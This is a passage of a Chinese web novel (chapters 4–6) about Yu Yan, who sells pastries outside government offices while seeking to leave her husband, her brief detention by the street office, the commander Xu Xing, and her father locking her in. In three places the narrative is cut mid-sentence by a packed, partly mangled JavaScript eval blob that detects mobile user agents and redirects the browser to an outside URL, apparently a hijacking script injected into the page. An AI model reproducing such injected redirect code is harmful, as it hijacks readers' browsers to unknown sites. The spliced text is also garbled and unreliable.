陆延仲气笑了，心里几乎就冒出了干脆和离的念头，旋即又被他狠狠压下去了。 “阿嫣，我好言相劝过，你不听，我只能用别的办法。” 虞嫣没有理会，跨出去，挽袖收拾碎在路上的瓷片。 陆延仲拂袖离去。 这些天，同僚们看他的眼光闪烁，欲言又止。 去往其他衙门办事，官员们在堂而皇之地议论，门前御街来了一位“点心娘子”，摆卖的点心饮子好吃实惠，娘子本人细眉杏眼，肤色如瓷，可惜已然梳了妇人发髻。 他不敢置信，在斜风细雨中，看到了自己当街摆卖的妻子。 胸中一口气堵得像硬石，撑得发痛，驱使他一路淋着毛茸茸的雨，径直入了街道司。 街道司还未到办公时辰。 衙内气氛松散，几个士兵模样的精壮汉子或站或坐，连公服都未换。 “朝天门内，有商贩售卖不洁食物，请街道司及时驱逐。” “哪个商贩？卖的什么？” “卖的……卖的日日不重样，是个年轻女郎，黛色头巾，灰蓝布裙，”陆延仲没记住更多，但虞嫣有个旁人没有的特征，他抬手点了点，“她颊边靠近耳垂的地方，有一块小红色胎记。” 话落，一道视线落在他身上。 陆延仲转头，还未看清楚男人脸上显眼的疤痕，先觉心头一紧。 一身黑戎服的男人目光如刀锋，将他冷冷刮过，“特征，再说一遍。” 4. 第 4 章 街道司的士兵将虞嫣的摊位团团围住时，她正在给一位胥吏装点心。 来的是街道司使陈炳善，他生得皮肤黝黑，窄脸宽额，不说话时显得很凶，不知才从哪条街巡逻完回来，盯着虞嫣的摊位半晌，又侧头看她颊边，稀松地一摆手，“都拉走。” 摊前围拢的食客哗然，顿时散开，却没有走远，停在了看热闹的距离。 “哎哟，怎么回事？” “好端端的为何要拉走？” “别是犯什么事了吧……” 虞嫣不太惊讶，擦干净了手准备跟他们走。 光顾的胥吏催她，“娘子赶紧给我装好啊。”这位正是虞嫣开张那日，第一个帮衬的老吏，已成了熟客，由不得替她问两句，“陈司使大清早的扣走个摊位，总得给个理由吧？” 街道司是个小衙门，司内五百兵士，管的诸多杂事。 哪条街道没清理干净，哪个商贩占了不该占的区域摆卖，暴雨过后的积水疏通，御驾出行的道路整修……现下虞家娘子的摊位就是红线划定内，并没有占道。 “街道司接到消息，有商贩在朝天门内贩售不洁食物，导致官吏腹痛呕吐。” 陈炳善给了老吏面子，解释完转身，一群士兵呼啦啦拽着她的摊车走了，剩下两士兵在虞嫣身边，看她一个女郎不好动手，沉声催促：“还不快些跟上？” 老吏拎着糕点，跟随虞嫣走了几步。 点心是替上峰买的，老饕餮正是新鲜热乎着，接连买了好几日，夸赞品质一如既往稳定，最紧要是食材和油都舍得用好的。干不干净，但凡是日日光顾的，心里门儿清。 “娘子许是抢了同行生意，碍了谁的眼，切莫惊慌。” 他捋捋胡须，压低声提点，“街道司没有扣留人的权利，你进去了咬定食物干净，掏些银钱把摊车赎回来，过几日又能来摆卖了。” “我晓得了。” 虞嫣朝他投去感激的一眼，心里知道不是这么回事。 街道司门庭小，比之工部，有些寒碜。 陈司使一踏进去，没去正经办事的厅堂，反而进了左边的西厢。 虞嫣稍微犹豫，回头看两个士兵，士兵催促她示意：“快进去！”她攥紧了挎在身上的小布包，深吸一口气，跟着进去。 陆延仲不在里头。 跟她想的不太一样。 西厢类似于书房，靠窗处明净，靠书架处昏暗，文簿层层叠叠堆在书架里，阴影浓如暗夜。陈炳善就坐在窗边，拿一条帕子擦脸上发上的雨珠，一双下垂眼将她端详，不知为何显得为难。 虞嫣等了好一会儿，没等他问话。 她想到老吏的叮嘱：“陈司使，民女卖糕点，食材都是提前一日到菜市口采购，每每烹煮前用清水洗过两遍，蒸得全熟了才出摊，到官署街区后再复热，能够保证新鲜干净的。” 陈炳善“哦”了一声，“点心是在哪里做的？” “家中厨灶。” 陈炳善动了动嘴皮子，惯常想骂人又硬生生忍住了。 虞嫣随即反应过来，他问的是地点，“是蓬莱巷尾巴的王家民宅里。陈司使可以带人去查验，我出门前收拾过，厨灶上还摆着用剩下的食材。” “虞娘子姓虞，夫家姓陆，为何住在王家民宅？” “那是我外祖父家，陈司使既然知道，那理应清楚，陆家已不是我夫家了。” 陈炳善扒了扒还湿润的鬓发，没立刻接话。 偌大的帝城，御街东侧四厢，西侧三厢，芝麻绿豆的道路杂事都归他管。 相应地，鱼龙混杂的消息，他最方便探听。“点心娘子”同工部员外郎的夫妻纠纷，外头传得五花八门，真正内情，陈炳善早有耳闻了，却想不到，还能掺和进更多他招惹不起的大人物。 他朝书架内看了一眼，收回目光。 “虞娘子，方才是在外头，得公事公办，不然我回头对工部那位大人不好交代。” “娘子卖的朝食，老实说，街道司好几个弟兄买过，不曾有腹痛呕吐的毛病。当然，今日卖的还没有，你等个一时三刻，他们检验过无事了，娘子便能回了。” 虞嫣一愣，不曾想能够这么快解决。 她摆卖这些日子，跟左右摊位主人都熟了，人人提起街道司都骂骂咧咧，说人进去了，荷包就得被刮掉一层。陈炳善是会捞油水的，明文规定的赎银若是一千钱，他张嘴就能要三千。 “回去后，我还能继续在朝天门内摆卖吗？” “当然能。” “那敢问陈司使，要如何检验？” “……按照规矩来。” 陈炳善语焉不详，帕子摁回桌上，两只手指搓了搓尘灰，又瞭了一眼书架那头。 书架除了文书簿册，什么都没有，就是边角挂了一串五帝钱。 虞嫣误会了，解开了小布包，走过去要递给他，“不知摊车要扣留多久？赎金几何？民女身上只有这么多，大人看够吗？”若赎银比她重新置办一架摊车还贵，那她就不赎了。 陈炳善几乎整个人蹿起来，“别别动，你就站那儿！” 虞嫣顿住脚步。 “不用赎银，虞娘子你坐着等。” 陈炳善怕她再追问，一指房内零散摆的几张鼓凳，又叫士兵进来，给她端了一杯热茶。 茶水很烫，茶叶还涩口。 虞嫣确定了陈炳善看不上她包里的三瓜两枣，打开布袋子，把铜板倒在布裙撑出的小兜里，清点大半个早晨所得。铜钱碰撞的声儿幽微清脆，在安静的厢房里断断续续地响。 徐行就匿在书架与墙壁构成的角落看。 女郎眉若翠羽，眼似水杏，秀项微微弯下，低头数指尖的铜板。 少时过分纤薄的身条，经过年岁，有了更丰润动人的变化。屋外稀薄的天光好似分外地眷恋她，给她整个人镀上朦胧柔光，把她碎发遮不住的那处小小胎记，衬得嫣红灼目。 那低眉敛目的模样，从徐行的角度看，透着几分慈悲。 仿佛谁家穷得揭不开锅了，饿得晕倒在她面前，她就会把辛辛苦苦挣来的铜板舍出去，或是把手里吃食分一份。就像从前。 等到云销雨霁，夏日金辉把厢房照得更亮堂。 虞嫣的铜板十个为一串点完了，几个士兵走进来，嘴角的油光还未擦干净，看虞嫣的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618988|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都和善了几分，“禀告司使，点心都验过了，没有毒，还挺……挺好吃的！” 陈炳善抿唇，把几个丢人现眼的属下支使开了，只留下一个最稳重的。 “你带虞娘子去领她的摊车，再给虞娘子耗损的点心报个账。” “不用报账，当是民女请各位差爷尝尝。吃得好了，往后再来光顾。” 虞嫣只想快些离开，一下子把铜钱串都抓进布袋子里，跟着那士兵离去。 徐行等她走远了，才从书架后走出来。 “我那几个弟兄，就交给陈司使照看了。” “好说，好说，街道司配合龙卫军，是职责所在。” 街道司只设他和另一勾当官，底下五百士兵都是武臣大使臣和三班使臣充差，常常轮换，这位新上任的龙卫军都指挥使正是御前红人，要塞几个人过来作耳目，本就是一句话的事。 陈炳善只是想不到徐行会亲自来。 更想不到，遇见了官员投诉，徐行竟然有兴趣“旁听街道司的处理”。陈炳善怎么敢处理，他察言观色，思前想后，自觉没出大错，亲自将徐行送出街道司。 街道司外，虞嫣的摊车还没摆稳，就被围拢起来。 左右邻近的同行，问得七嘴八舌。 “虞娘子这么快就出来了？” “赎银交了多少？” “你卖的吃食真把人吃得腹痛呕吐了？” 虞嫣点了炉子，把凉下去的点心重新加热，“街道司的大人们查验过了，说是误会一场。我卖的吃食要真有毛病，哪里能这么快任我出来摆卖？各位说是不是？” 她神情放松，笑容明亮，让人看了就心生好感。 “是这个理儿。” “虞娘子运道好啊。” “什么运道好，验过了没毛病，正正说明虞娘子卖的东西干净啊。” 摊主人们议论开来，几个来街上买午食的熟客听见了，再来探头探脑看，“虞娘子还没收摊呐，今日卖的还剩下什么？” “剩得可多了，客人看看？” 虞嫣掀开了盖子，雾气氤氲中，摊车前很快再变得热热闹闹。 “老大，还不走吗？” 魏长青嘴里衔了一根柳枝，骑在马上，不懂徐行为何从街道司出来，就勒马在朝天门下。他顺着徐行目光看去，只看到随着雨停，愈发热闹起来的官署街区。 今日是徐行正式接任龙卫军第一日。 原指挥使在任多年，势力盘根错节，军营里的刺头只多不少。 等下徐行去到军营里，不知有什么牛鬼蛇神在等着。 徐行不紧不慢，看了好一会儿，丢给他一粒银子。 “左边顺着数，第七个摊位卖的点心，车把上绑了一条棉布巾的，看见了吗？” “看见了，人挺多的。” “等食客散了，你去问问还剩多少点心。” “你饿了？早说啊。” “剩下的都买回来，是你吃，还是分给郑二他们，自己看着办。” “啊？” 魏长青没反应过来，这是饿还是不饿？他转头正想问，身侧哪里还有徐行的身影。 5. 第 5 章 京畿大营隶属龙卫军的校场，正是躁动不安时。 传闻中的新指挥使还未到，乱七八糟的流言就不知从哪个角落传出来。 “听说了？” “什么？” “新来的指挥使名义上是定北侯义子，实际上是私生子，受了侯爷大力举荐才当上的，论资排辈，还不如平哥老资历。原指挥使当时亲口说，打算退下来位置给平哥的。” “平哥昨日就放了话，定然要叫新来的指挥使好看。” 沉沉鼓声响起，是催促所有人集合的信号。 正低声议论的小兵对视一眼，“来了。” 几人纷纷小跑着去了点将台下，找到属于自己的位置。 但见点将台上一人，玄色戎服，姿态挺拔，右手拿着本军籍名册在翻。男人从眉骨到脸颊的伤疤赫然，是差一点就没保住眼睛珠子的凶险。 新官点兵，循例从高阶武官起。 “副指挥使戴锦平。” “未到，告病。” “都头赵大阔。” “到。” “都头濮春。” “未到，告病。” “都头农敏达。” “未到，告病。” “十将郏川。” “到。” …… 名册前列的武官都点完了。 负责通报军士病假，代为应答的押官心头怦怦跳。 旁的不论，光是正副都头里就有将近一半的人告病未到，摆明是不给新指挥使脸面。点将台下的队列有细微骚动，人人不敢语，只看徐行如何收场。 徐行将名册抛到一边。 “这么些人，都病了？应一声到的力气都没有？” 他问得不算大声，押官双唇嗫喏答不上来。 徐行目光逡巡，束紧了皮革护腕的绳索，“军医何在？” “徐指挥使，卑职在。” “你去营里给这些人看诊。要真的病了，即刻起，这十二人停饷停职，专心养病。” 他指令清晰，面上不见怒色，“空缺由预备役补入，我们现在操练。” 军营心下暗道不好，连忙提了药箱，直奔副指挥戴锦平所在的营帐。 都头赵大阔有意见了。 “指挥，预备役是训练不足的新兵，怎么能补上这些领头的指挥位置？” “谁说都是新兵？预备役出列。” 预备役立时小跑出一队人。 十多个青壮高矮胖瘦不一，古铜小麦肤色都有，动作整齐如一人，眼神冷厉沉默，一看都是真刀真枪见过血的。定北侯拨的人，徐行一半安插去了街道司，另一半留在这里。 “预备役填补操练时的空缺，操练过后……” 徐行从一人高的点将台下跃下，身形稳健，“能者居上。” 赵大阔眼神一亮，不再有异议。 预备役填入空缺，整理好队列，往操练场入口去时，好一阵急促脚步声响起。众人这才望见戴锦平一身常服，带缺勤的十一人匆匆赶来。 “末将戴锦平，见过……” 徐行连个眼风都没给，长腿一迈，从他面前经过。 戴锦平咬牙，重新追上徐行：“末将戴锦平，见过指挥使。” “不是病了？” “一点小恙，已经好了。” “你后头的这些人？这么默契，都好了？” 戴锦平身后的武官们目光闪烁，不敢同徐行对视，谁也没料到一个普通告病，能落得个停职停饷的结果。 戴锦平冲徐行猛地一抱拳，腰躬得更低： “回指挥使，昨日休沐，我与濮春他们入城饮酒至夜才归，耽误点兵时辰，我身为副指挥，却未能以身作则，该当重罚。其余人是受我连累，指挥要罚，便罚我一人！” “挺讲义气。” 徐行的视线慢慢掠过他身后十一人，“谎报病假，按照擅离职守论。军棍免了，你自己背个沙袋，操练场负重三十三圈，一个时辰内跑完，他们的罚就算了。” 要搁往常，这是一个半时辰才能跑完的训练。 还是按选拔精锐的强度。 士兵哗然，没忍住窃窃私语起来。 “怎么可能？” “跑完半条命都没有了吧？” “还不如去领军棍，打了回去躺半个月。” …… 同戴锦平一伙的几个老兵面露不安，正要出声表示自愿受罚，被戴锦平抬手拦下了：“末将感谢指挥使手下留情，这三十三圈，我跑！” 他想给徐行下马威，叫他当个光棍司令，反而险些害得弟兄们被停饷，正愁没机会挽回来，这千载难逢的好机会，谁不跑谁是傻子。 小兵合力抬来几个沙袋。 一个沙袋二十斤，这里整整六十斤。 戴锦袍脸色一变，以为他要临时加罚，不料徐行把二十斤沙袋扔他脚下，自己背起了剩下的沙袋，“今日点卯，我来迟半柱香，与副指挥使同罚。” 他一字一句，话音沉稳有力，手指却快点到了戴锦平的鼻尖。 “三十三圈，一个时辰，我和你，谁跑不完谁滚蛋。” 徐行转身跑了。 戴锦平咬牙切齿，他负重少了一半，要是跑不过徐行，不止想挽回的人心没挽回，脸面都得丢。他发了狠，背上沙袋，三步并两步超过他，却还是在第八圈的时候被反超了。 戴锦平觉得自己的肺快要炸了，呼吸间全是腥气。 徐行始终跑在他前方半个身位，呼吸匀长，汗水浸透了戎服，勾勒精壮结实的肩背。 三十三圈毕，刚好一个时辰。 徐行卸下了沙袋，头也不回，“人齐了，操练！” 那气息雄浑厚稳，完全不像个负重训练完的人。受戴锦平鼓动，特地告假称病的几个老兵都面露惊骇。他们信了戴锦平的话，还以为新指挥是个绣花枕头。 “平哥，你没事吧？” “别说了，快去操练。” 戴锦平撑膝，大口大口喘气，对徐行的背影，恨恨地咬紧了牙关。 操练结束，到了放饭时辰。 魏长青端着伙头兵备好的饭食，入了徐行的营帐，“这姓戴的兵油子，不好弄。”他大咧咧坐在徐行对面，一边扒饭，一边跟徐行说他观察到的阵营划分。 徐行默默地听，问了一句。 “好吃吗？” “米饭没嚼头，不如面饼香。” “不是问饭。” 魏长青一愣，想起来在朝天门买的点心。轮到他时，都没剩三五个，忒玲珑小巧的玩意儿，不如肉夹馒头实惠顶饱，他还没咂摸出滋味，囫囵两下就吃完了。 “老大，我忘，忘了啥味道。” 徐行扫他一眼，抽出个钱袋子，“明日再买一回。” * 昨日的连绵细雨没洗去燥热暑气，今日热得更厉害。 官署街道上，不少专门卖饮子的摊贩架起青布伞，当街列床凳堆垛。虞嫣来得迟了，没占到靠前的位置，但正好比邻卖冰雪凉水荔枝膏的小摊，享受了一方阴凉。 老胥吏发现她时，惊喜不已。 “虞娘子，小老儿见你不在原来位置上，还以为得好几日不来。” “多亏您老提点，有惊无险。” 昨日从街道司出来，生意不止未受到影响，还比往日更好一些。虞嫣得以早早回到住处，琢磨今日要卖什么。她将新做的鲤鱼交颈糖糕包出来，双手递给老胥吏。 “尝尝，孝敬你老人家的。” “哎，做得真漂亮，这银子就得是虞娘子挣。” 老胥吏反复看了，就着旁边饮子摊的矮凳坐下，买了两份杏子膏，把一份推向她的方向。 “虞娘子来，小老儿同你商量商量。” “要商量什么？” “好生意。” 老胥吏笑眯眯的，“小老儿在国子监做事，每日来买你的早点，里头有一份给祭酒大人捎带的。明日是祭酒夫人的寿宴，祭酒大人想请虞家娘子到府上厨灶现做点心，就做你卖过的糖酥裹食和山海兜子，至于报酬嘛……” 他从袖子里掏出一粒银角子，“这是一半定钱，还有一半寿宴当日结。虞娘子可愿意？” 虞嫣心中一动。 “李叔说的这位祭酒夫人可是姓秦？就是那位镇守西北的定北侯的亲妹妹？” “正是，虞家娘子认识？” “我哪里识得这样的贵人。” 但有幸见过。 成婚一两年，陆延仲待她正是情热时，常常把官场所见所闻同她闲话，包括这位老祭酒。 老祭酒最为人津津乐道的事有两件，一是饕餮成性，舍得在吃食上银钱。 二是走了大运道，官位还低时就娶了侯爵之家的贵女，自此扶摇直上。 不过也因此，常被同僚们取笑惧内耙耳朵，即便年至四十才老来得子，后院从来清清静静，无偏房无妾室，就连家中伺候的女仆都尽挑选些相貌平常的。 那日恰是十五，陆延仲休沐。 他们一起陪同陆母去拜观音，在正殿巧遇了老祭酒与秦夫人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618989|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虞嫣见面不相识，只见一对老年夫妻供奉观音后，正欲离去。 卧香炉飘出零星火点，连带一片香灰落到了妻子的孔雀绿裙摆上。 妻子还未开口，丈夫已撩袍半蹲，用手给她拍去裙裾的灰，嘴里念念有词，“早说了夫人要离香炉远一些，远一些，燎着裙摆就算了，烫伤了手上如何好？” 晚间归家，陆延仲说起。 “国子监祭酒是掌天下文脉的人物，门下士子千万，当众屈膝蹲身给一妇人拂拭裙角……”他摇摇头，“传闻老祭酒惧内，今日一见，我才知道不是空穴来风。” 虞嫣没觉得祭酒惧内。 他蹲下身时从容自若，动作间流露的爱惜自然而然，分明是舍不得那片香灰烧坏了秦夫人绣纹巧致的华美衣裙。 “虞娘子，考虑得怎么样？”老胥吏的声音把她从回忆里拉出来。 虞嫣自是点头答应。 她思忖片刻，又道：“除了说的两样点心，我再做多一样，如果祭酒与秦夫人都满意了，还有一事想请他们点拨。若觉得我的请求过分，大可拒绝，只给我两样点心的酬劳。” 老胥吏扬起眉头，露出了饶有兴致的表情。 “好，小老儿替虞娘子说说。” 老胥吏同虞嫣叮嘱了其他事项，再三提醒：“明日，虞娘子要按时到毓贤街蔡家，切勿误了时辰，只能早不能晚，不然小老儿这个推荐人，可是无颜回衙门面对上峰了啊。” 虞嫣心里惦记宴会帮厨的事，点心卖剩下半屉，早早收了摊。 她推着小摊车回蓬莱巷的住处。 蓬莱巷的路面年久失修，石板砖东翘西凸，车轮碾在路上轱轱辘辘地响。 虞嫣距离屋门还有七八步，听见了响亮凶悍的犬吠。 “如意。”她轻轻唤了一声，犬吠安静下去。 虞嫣打开屋门，一条黄毛犬冲出来，绕着她和摊车打转，尾巴快摆出了残影。 她拿出回来路途上同食肆买的，几根粘着肉末的猪骨头，丢到院里，黄毛犬冲了过去，踩烂几颗本就熟透了落在地上的黄檀子果，爆出了汁水，散发馥郁酸甜的味道。 虞嫣蹲下来收拾，在黄檀子树的树荫下，一边看如意啃骨头，一边染了满手芳香。 “大姑娘，是我啊，大姑娘。” 妇人柔婉的嗓音，像含了一口蜜糖，从门缝飘进来，但稍不留神就能从耳边滑过。 如意竖起耳朵，小旋风似的冲到屋门前，一顿狂吠，“汪汪！汪汪汪！” 虞嫣擦擦手，按下如意毛茸茸的脑袋，打开屋门，瞧见个年约四十，保养得极好的妇人，丹唇小巧，下颔尖尖，整张脸吓白了缩在门柱旁，“你这儿怎么……怎么还养了狗？凶得很哦。” 是她爹的继室王夫人。 虞嫣不肯喊她母亲，又不能继续称她为王姨娘，便只喊一声二娘。 “二娘怎么找过来了？” 二娘回神，着急起来，“哎哟你别问了，姑爷来过家里，你爹知道你要闹和离，一下子气得晕过去了。你赶紧同我回去看看他。” “找大夫了？” “早叫过了，大夫说怒急攻心，那些医理反正我听不懂，说也说不出来，反正很不好！” 二娘最怕狗，不敢踏进来，攥了虞嫣的腕子就要往外拉。 虞嫣挣开她，回身安抚如意，锁了屋门。 她爹上了年纪，好几年前，家里铺子老掌柜中饱私囊，她爹前脚暴跳如雷把人骂了一顿，后脚晕倒在柜台。当时虽然凶险，大夫却说是偶发病症，只要控制好情绪，于身体并无大碍。 蓬莱巷距离虞家不算远，小跑着一刻钟就到了。 家门近在眼前，虞嫣的脚步慢下来。 “二娘。” “走啊，怎么停下来了？” “我爹一听说我要和离，就气得晕过去，那，二娘是怎么找到蓬莱巷的？” 蓬莱巷是她外祖父家，她阿娘的娘家，已然人去屋空，逢年过节都不会走动。 二娘即便听说过此事，也不会知道具体住址。 二娘绞了绞帕子，急得一跺脚，“老钟叔说的啊！他给你爹请大夫时跑得急，跌伤了腿，老钟嫂忙着煎药，不然我犯不着自己过来遭你嫌弃。是不是骗你，你进去看一眼就知道了。” 虞嫣静了静，走完了最后几步。 她推开院门，还未走到她爹屋门前，就听见“嘭”一声，院门被合上落栓。一回头，家仆老钟叔愧疚道，“大姑娘，对不住了，老爷吩咐一定要把你留在家里，直到姑爷明日来接。” 6. 第 6 章 主屋虚掩的半扇门后走出来一个中年男人。 面上没有病容，只有怒容，是她爹虞成仁。 虞嫣唤了他一声。 “你还认我这个爹。这么大的事，不同家里说一声，自己跑回外祖家住。要不是陆延仲今日找过来，我都还被蒙在鼓里。” “爹，我是想同他和离。” “为了他有别的女人，要纳妾？” 虞嫣点头。 虞成仁露出恨铁不成钢的神色，“陆延仲说了，要是生的庶子，养在你膝下，你就那么倔脾气？你还去官署门前做买卖，换做是别家气性大的，早就以善妒、无子为由将你休弃了！” 要是休了，还算断得痛快，何至于这样拖拖拉拉？ 虞嫣没接这句，听得她爹勒令她安生待在家中，等陆延仲明日来接，才没忍住驳了句：“我明日跟他回去了，后日还是会跑出来的，除非，陆延仲把我锁起来。” “用不着等陆延仲，我现在就把你锁起来！” 虞嫣听罢，转身往闺房走。 虞成仁手指虚虚一点她的背影，气得跟老钟叔骂，“你看她眼里还有没有我这个爹了？” “我心里没有，那爹是如何让二娘骗到我回来的？” 虞成仁一哽，怒而甩袖，“愣着干嘛？现在就给她屋门落锁。” 虞嫣待在房中，睡了一觉。 睡醒天色昏暗，估摸是晚膳时辰了。 她爹坐言起行，没有放她出来的意思，只让王夫人来送吃食。王夫人推门时只开半扇，老钟叔守在她身后，提防虞嫣要硬闯。 虞嫣坐在一把竹圈椅里，距离门很远。 “二娘放心吧，我午间没吃，现下还跑不动。” “这……这不是老爷吩咐了，我得仔细些。” 王夫人将晚膳给她摆好。 虞嫣一看，凉拌翠丝、葱油煎豆腐、白炸春鹅、炒鸡蕈，胸中浊气就消散了几分，是老钟嫂做的，全部是她出阁前爱吃的。 “小郎呢？夏日书院不给长假吗？” “考完试才给夏假，按考试结果分不同班，他紧张着呢，近来都住在那里和同窗讨论。” 虞嫣点头，拾起了筷子吃饭。 王夫人觑着她脸色，还算平静，便敢当说客了，“你别怪你爹，他脾气不好，实则心里是紧张你的，晌午姑爷来的时候说在外头有人了，你爹那个黑脸，我看了都怕。” 她抚了抚胸口，衣袖垂下来，露出腕上那只翡翠镯。 虞嫣留神看了，本来水色油润的翡翠光泽，比年初她见时，暗哑了许多，不像是同一只。 “二娘原来的翡翠镯呢？” “这不戴着呢。” 王夫人讪笑，垂下手腕，让衣袖遮住了镯子。 虞嫣没追问，将二娘从头到脚的衣衫打扮细细端详。 “小郎在樊山书院，是不是花费很多银钱？” 她爹虞成仁年轻时给人当掌柜，攒下了一笔银钱去做买卖，小小发迹了一回，生意正要做大却给合伙兄弟坑了，险些没守住身家。如今家里开着个生意不咸不淡的榨油坊，挣些利钱加上老本，勉强是不愁吃喝的富足人家。 但这种富足，放在樊山书院是不够看的。 “我听陆延仲说，樊山书院里头念书的，要么是才学出类拔萃，出自书香门第有传承的子弟，要么是达官贵族生来就坐拥金山银山，觉得国子监规矩太多了，才退而求其次。” 王夫人蹙眉，被她勾起了忧愁。 “樊山书院的夫子好呀，都是学问顶顶高的大儒，即便是修束贵一些，逢年过节给夫子们的年礼厚一些，我也认了。谁能想到……” “怎么了？” “哎大姑娘你别问了。” “二娘给我说说，要是书院不好，想法子给小郎转走。” “倒不是读不下去的大事，就是小郎那些同窗，说着做学问，读圣贤书的，都是捧高踩低的货色！”王夫人说起来，心头还觉得憋屈。 “小郎多上进好学的小孩儿，得知能去樊山书院，那日高兴得一整宿都没睡着。春季时书院每七日一休，小郎每次回来，都比上一次更闷闷不乐。” 她私底下追问才知道，文房四宝、衣食住行……书院里比较不止学问文章，连见没见过好墨，谁的砚台更名贵都能被挑剔一番。落了下乘的，就会沦为被作弄欺负的对象。 “那些夫子见着了，不主持公道，都睁一只眼闭一只眼！” “二娘可有跟爹说？” “你知道你爹，自己少时候苦过来，觉得不受些磋磨不成气候，要不是我日日念叨，他就连送给小郎亲传老师的年礼都舍不得额外添一笔。” 王夫人埋怨，对上虞嫣清凌凌的目光，意识到自己说太多了。 大姑娘是水一样绵柔的性子，不知不觉就能叫人放下心防。 但她是来劝虞嫣别和离的，小郎日后要走读书的路子，还得靠陆家姑爷多多帮扶。王夫人起身要走，“你好好吃饭，迟些让老钟叔来收拾。” “二娘。”虞嫣轻轻拉住她。 王夫人有些惊异，虞嫣从未对她恶语相向，但也没多亲近。 “我在官署街区摆卖，得了贵人赏识，请我明日去做帮厨，愿意给很多报酬。二娘帮我明早悄悄溜出去，一半报酬就当是我这个做姐姐的，给小郎读书买笔墨用。” “大姑娘莫说浑话，我放你走，你爹知道了哪里得了？” “我屋门锁落着，爹如何知道？他都不愿同我讲话。” 王夫人警惕地抽回手，又有几分藏不住的意动，到底觉得太离谱了，连连摇头，“不成不成，你出了这道门，天高任鸟飞的，万一帮厨是骗我，我岂非平白挨你爹数落……” “二娘跟我到宴会主人家盯着，我哪里能跑？” “我说二娘是打下手的，国子监祭酒家的宴会，二娘不想见识见识吗？” “届时分润赏钱，没准还有二娘一份。” 虞嫣看着王夫人离去的脚步越来越慢，停在了门槛处。 二娘的性格很好看懂。 她娘尚在时，二娘拈酸吃醋，使小手段争宠是有的，却不曾用坏心眼害过人，她贪财，软弱怕事，眼皮子浅，但有一个最大的软肋，便是小郎。 为了不叫他在书院露怯，二娘舍得将撑体面的珠宝首饰都换成次一等的货色，榨出来的银钱都拿去补贴小郎，私房钱显然不剩几多了。 虞嫣特意把帮厨报酬往大了说，她会心动的。 王夫人问了一句明日几时的宴会，便出去了。 门外铁链碰撞，是老钟叔落锁的声音。 虞嫣等了好一会儿，始终见老钟叔的影子倒在隔扇门上，“老钟叔。” “大姑娘。” “您非得这样一刻不闲地守着吗？我又不会撬锁。” “是……是我家的问你想吃什么早膳，她明早给你做。” “老钟嫂给我做什么，我都欢喜，这个家里，她最是疼我。” 老钟叔的声音更愧疚了，“大姑娘这意思，是怪我？” “你们夫妻俩都指望我爹给的工钱过活，我不怪你，只是担心我在蓬莱巷养的小狗。” “大姑娘还养狗了？” “养了。” 虞嫣从腕上摘下一圈绑着钥匙的花绳，勉强自门缝中塞出去，“路边捡的，叫如意。陆家不喜欢猫狗，如意我横竖带不回去了。我不求老钟叔放我出门，只求您晌午得空了，帮我去喂它，再带它到毓贤街上放了。它就是那条街捡来的，你带它去，如意有灵性，会知道的。” 钥匙没有落地声，老钟叔在门外接住了。 “大姑娘，姑爷纳妾的事，姑娘想开一些，莫要像夫人那样，平白苦了自己。” 老钟叔口中的夫人，不是王夫人，是虞嫣病逝的阿娘。 虞嫣在门后侧了侧头，“我想得很明白。” 夏日清晨有一种隐秘的蓬勃。 鸟儿在绿意枝头啾啾鸣叫的第一声，虞嫣就睁开了眼。 窗扉靠近水井，响动不断。 从老钟嫂起床打水烧饭，到老钟叔牵了马车送她爹去铺子里看账，拢共过去了快一时辰。 闺房外的锁被打开。 王夫人端着一碗杂豆粥，一碟卤鸡蛋进来，欲言又止。 虞嫣当作没看见，拾起汤匙，开始用早膳。 “大姑娘。” “嗯？” “你说的那什么国子监祭酒家，是在哪儿？现在赶过去，还来不来得及？” 虞嫣弯了弯眼眸。 * 毓贤街头，香车宝马，堵得水泄不通。 定北侯胞妹秦夫人自打嫁入了蔡家，已鲜少办这样隆重的宴会，不少夫人猜测是要趁此机会替蔡小公子相看，不过蔡小公子才十岁，现在就挑选对象，即便是定亲，未免都太早了些。 官爵夫人们还是高高兴兴带闺阁女郎来赴宴。 距离府门太堵了，不少人下车缓行。 徐行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618990|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人一马，穿越了街头这片衣香鬓影，莺声燕语。 玄马健硕，跃动起来灵活轻捷，更衬得马背上深黑戎服的背影高大伟岸，众人还未看清楚，他已抵达蔡府大门，翻身下了马。 蔡府管事在门前迎客。 徐行将裹了锦的匣子递去，“徐行代定北侯，祝秦夫人嘉岁年年，身安体健。” 管事早早得了交待，见到徐行还算镇定，大声唱喏——“龙卫军都指挥使徐行到。” 徐行身上顿时聚集了来自四面八方的视线。 原指挥被罢去军职后，多少人盯着这个位置。 